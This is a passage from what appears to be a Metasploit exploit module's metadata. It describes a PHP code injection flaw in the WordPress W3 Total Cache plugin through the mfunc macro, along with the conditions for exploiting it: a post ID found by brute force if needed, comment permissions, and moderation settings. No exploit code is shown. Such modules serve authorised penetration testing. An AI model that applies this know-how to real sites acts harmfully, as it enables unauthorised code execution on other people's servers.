'Name' => 'WordPress W3 Total Cache PHP Code Execution',
'Description' => %q{
This module exploits a PHP Code Injection vulnerability against WordPress plugin
W3 Total Cache for versions up to and including 0.9.2.8. WP Super Cache 1.2 or older
is also reported as vulnerable. The vulnerability is due to the handling of certain
macros such as mfunc, which allows arbitrary PHP code injection. A valid post ID is
needed in order to add the malicious comment. If the POSTID option isn't specified,
then the module will automatically find or bruteforce one. Also, if anonymous comments
aren't allowed, then a valid username and password must be provided. In addition,
the "A comment is held for moderation" option on WordPress must be unchecked for
successful exploitation. This module has been tested against WordPress 3.5 and
W3 Total Cache 0.9.2.3 on a Ubuntu 10.04 system.
